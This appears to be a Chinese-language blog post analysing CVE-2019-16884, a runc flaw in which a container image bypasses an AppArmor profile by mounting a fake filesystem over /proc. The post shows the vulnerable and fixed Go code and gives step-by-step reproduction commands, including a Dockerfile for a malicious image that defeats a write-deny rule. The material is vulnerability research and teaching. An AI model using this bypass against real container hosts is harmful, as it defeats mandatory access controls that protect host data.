CVE-2019-16884学习

漏洞分析

CVE-2019-16884是一个runc漏洞,利用这个漏洞可以绕过AppArmor对于资源访问的限制。

在容器中,AppArmor配置是通过将配置名称写入/proc/self/attr/exec来生效的[1.1]:

func setprocattr(attr, value string) error {
    // Under AppArmor you can only change your own attr, so use /proc/self/
    // instead of /proc// like libapparmor does
    path := fmt.Sprintf("/proc/self/attr/%s", attr)

    f, err := os.OpenFile(path, os.O_WRONLY, 0)
    if err != nil {
        return err
    }
    defer f.Close()

    _, err = fmt.Fprintf(f, "%s", value)
    return err
}

但是,只有在/proc是一个proc文件系统的时候,AppArmor才会生效。因此,攻击者可以通过挂载一个普通的文件系统到/proc,从而让runc以为它向proc文件系统的exec文件写入了AppArmor配置。在挂载文件系统之前,runc会先进行检查,可以发现它不允许在/proc里面挂载文件系统,然而它却没有检查挂载到/proc本身的情况,也就是说挂载文件系统到/proc仍然是允许的[1.2]:

func checkMountDestination(rootfs, dest string) error {
    invalidDestinations := []string{
        "/proc",
    }
    ......
    for _, invalid := range invalidDestinations {
        path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)
        if err != nil {
            return err
        }
        if path != "." && !strings.HasPrefix(path, "..") {
            return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid)
        }
    }
    return nil
}

漏洞复现

系统:Ubuntu 18.04
Docker:19.03.2
containerd:1.2.6

假设宿主和容器共享某个目录,宿主可以读写该目录中的文件,而容器则只能读取不能写入。创建一个AppArmor的配置文件:

#include <tunables/global>
profile testprofile flags=(attach_disconnected,mediate_deleted) {
    #include <abstractions/base>
    file,
    deny /vol/** w,
}

其中,“deny /vol** w”表示不允许/vol目录下的文件写入操作。然后将该配置文件加载到内核:

sudo apparmor_parser -a ./testprofile

在当前目录下(例如/home/abc/)创建一个vol目录,然后创建一个容器,将这个目录挂载到容器中:

sudo docker run -it --rm --security-opt "apparmor=testprofile" -v /home/abc/vol:/vol ubuntu:bionic-20221215 bash

尝试向/vol目录创建文件,可以发现没有写入的权限:

回到宿主,创建一个root目录,模拟容器的根目录,并在其中创建proc目录,模拟容器的procfs:

mkdir -p root/proc/self/attr
mkdir root/proc/self/fd
touch root/proc/self/status
touch root/proc/self/attr/exec
touch root/proc/self/fd/4
touch root/proc/self/fd/5

创建一个Dockerfile,将刚刚创建的root目录复制到容器根目录,并挂载/proc卷:

FROM ubuntu:bionic-20221215
ADD root /
VOLUME /proc

构建恶意镜像:

sudo docker build -t malimage .

基于该镜像创建一个容器:

sudo docker run -it --rm --security-opt "apparmor=testprofile" -v /home/abc/vol:/vol malimage bash

再次尝试向/vol写入文件,这次可以成功写入:

官方修复

在修复后的runc中,当挂载文件系统时,会检查挂载到/proc目录的是不是proc文件系统,这样就可以确保不会有其他类型的文件系统挂载到这个位置,从而无法欺骗runc并绕过AppArmor[3.1]:

func checkProcMount(rootfs, dest, source string) error {
    ......
    if path == "." {
        // an empty source is pasted on restore
        if source == "" {
            return nil
        }
        // only allow a mount on-top of proc if it's source is "proc"
        isproc, err := isProc(source)
        if err != nil {
            return err
        }
        // pass if the mount is happening on top of /proc and the source of
        // the mount is a proc filesystem
        if isproc {
            return nil
        }
        return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
    }
    return fmt.Errorf("%q cannot be mounted because it is inside /proc", dest)
}

func isProc(path string) (bool, error) {
    var s unix.Statfs_t
    if err := unix.Statfs(path, &s); err != nil {
        return false, err
    }
    return s.Type == unix.PROC_SUPER_MAGIC, nil
}

参考

[1.1] https://github.com/opencontainers/runc/blob/v1.0.0-rc8/libcontainer/apparmor/apparmor.go#L22
[1.2] https://github.com/opencontainers/runc/blob/v1.0.0-rc8/libcontainer/rootfs_linux.go#L440
[2.1] https://github.com/opencontainers/runc/issues/2128
[2.2] https://ssst0n3.github.io/post/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8/docker/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/linux-security-features/what-you-can-actually-do/LSM/apparmor/CVE-2019-16884/CVE-2019-16884%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html
[2.3] https://www.anquanke.com/post/id/265343
[3.1] https://github.com/opencontainers/runc/commit/331692baa7afdf6c186f8667cb0e6362ea0802b3

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注